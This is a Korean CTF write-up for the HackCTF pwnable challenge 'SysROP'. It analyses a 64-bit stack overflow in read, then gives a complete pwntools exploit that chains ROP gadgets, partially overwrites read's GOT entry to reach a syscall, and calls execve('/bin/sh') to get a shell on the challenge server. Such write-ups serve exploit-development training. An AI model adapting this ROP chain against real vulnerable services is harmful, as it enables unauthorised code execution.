Wargame & CTF/HackCTF

[HackCTF / pwnable] SysROP

cg10036 2019. 10. 28. 12:37

HackCTF - SysROP

Summary

  • 64bit

  • syscall

Analysis

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
 char buf; // [rsp+0h] [rbp-10h]

 setvbuf(stdout, 0LL, 2, 0LL);
 setvbuf(stdin, 0LL, 2, 0LL);
 read(0, &buf, 0x78uLL);
 return 0LL;
}

read로 buf에 입력을 받는다. buf에서 오버플로우가 일어나게 된다.

read 말고는 다른 함수가 없다. 하지만 pop rax ; pop rdx ; pop rdi ; pop rsi ; ret 가젯이 있다.

pop rax ; pop rdx ; pop rdi ; pop rsi ; ret 가젯으로 execve("/bin/sh", 0, 0);을 셋팅하고 syscall하면 쉘이 뜰것이다.

그러면 syscall을 찾아보자.

gdb-peda$ pd read
Dump of assembler code for function read:
  0x00007ffff7b04250 <+0>: cmp   DWORD PTR [rip+0x2d24e9],0x0        # 0x7ffff7dd6740 <__libc_multiple_threads>
  0x00007ffff7b04257 <+7>: jne   0x7ffff7b04269 <read+25>
  0x00007ffff7b04259 <+0>: mov   eax,0x0
  0x00007ffff7b0425e <+5>: syscall
  0x00007ffff7b04260 <+7>: cmp   rax,0xfffffffffffff001
  0x00007ffff7b04266 <+13>: jae   0x7ffff7b04299 <read+73>
  0x00007ffff7b04268 <+15>: ret    
  0x00007ffff7b04269 <+25>: sub   rsp,0x8
  0x00007ffff7b0426d <+29>: call   0x7ffff7b220d0 <__libc_enable_asynccancel>
  0x00007ffff7b04272 <+34>: mov   QWORD PTR [rsp],rax
  0x00007ffff7b04276 <+38>: mov   eax,0x0
  0x00007ffff7b0427b <+43>: syscall
  0x00007ffff7b0427d <+45>: mov   rdi,QWORD PTR [rsp]
  0x00007ffff7b04281 <+49>: mov   rdx,rax
  0x00007ffff7b04284 <+52>: call   0x7ffff7b22130 <__libc_disable_asynccancel>
  0x00007ffff7b04289 <+57>: mov   rax,rdx
  0x00007ffff7b0428c <+60>: add   rsp,0x8
  0x00007ffff7b04290 <+64>: cmp   rax,0xfffffffffffff001
  0x00007ffff7b04296 <+70>: jae   0x7ffff7b04299 <read+73>
  0x00007ffff7b04298 <+72>: ret    
  0x00007ffff7b04299 <+73>: mov   rcx,QWORD PTR [rip+0x2ccbd8]        # 0x7ffff7dd0e78
  0x00007ffff7b042a0 <+80>: neg   eax
  0x00007ffff7b042a2 <+82>: mov   DWORD PTR fs:[rcx],eax
  0x00007ffff7b042a5 <+85>: or     rax,0xffffffffffffffff
  0x00007ffff7b042a9 <+89>: ret    
End of assembler dump.

read+5에 syscall이 있다. read_got의 맨 뒤 1바이트 값을 \x5e로 덮어주면 syscall을 할수있다.

data영역에 "/bin/sh\x00"을 넣고 rax에 59, rdi에 data, rsi와 rdx에는 0을 넣고 syscall을 하면 된다.

Exploit

from pwn import *

e = ELF("./sysrop")
#p = process("./sysrop")
p = remote("ctf.j0n9hyun.xyz", 3024)

binsh = "/bin/sh\x00"
main = 0x4005F2
data = 0x601030
ppppr = 0x00000000004005ea # pop rax ; pop rdx ; pop rdi ; pop rsi ; ret
pppr = 0x00000000004005eb # pop rdx ; pop rdi ; pop rsi ; ret

payload = ""
payload += "A"*(0x10+0x8)
payload += p64(pppr)
payload += p64(len(binsh))
payload += p64(0x0)
payload += p64(data)
payload += p64(e.plt["read"])
payload += p64(main)
p.send(payload)
sleep(0.1)
p.send(binsh)
sleep(0.1)

payload = ""
payload += "A"*(0x10+0x8)
payload += p64(pppr)
payload += p64(0x1)
payload += p64(0x0)
payload += p64(e.got["read"])
payload += p64(e.plt["read"])
payload += p64(ppppr)
payload += p64(59)
payload += p64(0)
payload += p64(data)
payload += p64(0)
payload += p64(e.plt["read"])
p.send(payload)
sleep(0.1)
p.send("\x5e")
sleep(0.1)

p.interactive()